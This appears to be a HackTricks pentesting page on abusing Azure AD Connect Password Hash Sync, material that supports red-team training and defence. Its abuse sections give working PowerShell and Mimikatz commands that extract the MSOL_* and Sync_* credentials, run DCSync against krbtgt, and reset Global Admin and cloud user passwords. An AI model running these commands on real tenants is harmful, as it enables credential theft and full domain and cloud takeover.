# Az - PHS - Password Hash Sync

{{#include ../../../../banners/hacktricks-training.md}}

## Basic Information

[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Password hash synchronization** is one of the sign-in methods used to accomplish hybrid identity. **Azure AD Connect** synchronizes a hash, of the hash, of a user's password from an on-premises Active Directory instance to a cloud-based Azure AD instance.

<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>

It's the **most common method** used by companies to synchronize an on-prem AD with Azure AD.

All **users** and a **hash of the password hashes** are synchronized from the on-prem to Azure AD. However, **clear-text passwords** or the **original** **hashes** aren't sent to Azure AD.\
Moreover, **Built-in** security groups (like domain admins...) are **not synced** to Azure AD.

The **hashes syncronization** occurs every **2 minutes**. However, by default, **password expiry** and **account** **expiry** are **not sync** in Azure AD. So, a user whose **on-prem password is expired** (not changed) can continue to **access Azure resources** using the old password.

When an on-prem user wants to access an Azure resource, the **authentication takes place on Azure AD**.

**PHS** is required for features like **Identity Protection** and AAD Domain Services.

## Pivoting

When PHS is configured some **privileged accounts** are automatically **created**:

- The account **`MSOL_<installationID>`** is automatically created in on-prem AD. This account is given a **Directory Synchronization Accounts** role (see [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) which means that it has **replication (DCSync) permissions in the on-prem AD**.
- An account **`Sync_<name of on-prem ADConnect Server>_installationID`** is created in Azure AD. This account can **reset password of ANY user** (synced or cloud only) in Azure AD.

Passwords of the two previous privileged accounts are **stored in a SQL server** on the server where **Azure AD Connect is installed.** Admins can extract the passwords of those privileged users in clear-text.\
The database is located in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.

It's possible to extract the configuration from one of the tables, being one encrypted:

`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`

The **encrypted configuration** is encrypted with **DPAPI** and it contains the **passwords of the `MSOL_*`** user in on-prem AD and the password of **Sync\_\*** in AzureAD. Therefore, compromising these it's possible to privesc to the AD and to AzureAD.

You can find a [full overview of how these credentials are stored and decrypted in this talk](https://www.youtube.com/watch?v=JEIR5oGCwdg).

### Finding the **Azure AD connect server**

If the **server where Azure AD connect is installed** is domain joined (recommended in the docs), it's possible to find it with:

```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```

### Abusing MSOL\_\*

```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```

> [!CAUTION]
> You can also use [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) to obtain these credentials.

### Abusing Sync\_\*

Compromising the **`Sync_*`** account it's possible to **reset the password** of any user (including Global Administrators)

```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
```

It's also possible to **modify the passwords of only cloud** users (even if that's unexpected)

```bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
```

It's also possible to dump the password of this user.

> [!CAUTION]
> Another option would be to **assign privileged permissions to a service principal**, which the **Sync** user has **permissions** to do, and then **access that service principal** as a way of privesc.

### Seamless SSO

It's possible to use Seamless SSO with PHS, which is vulnerable to other abuses. Check it in:

{{#ref}}
seamless-sso.md
{{#endref}}

## References

- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)

{{#include ../../../../banners/hacktricks-training.md}}



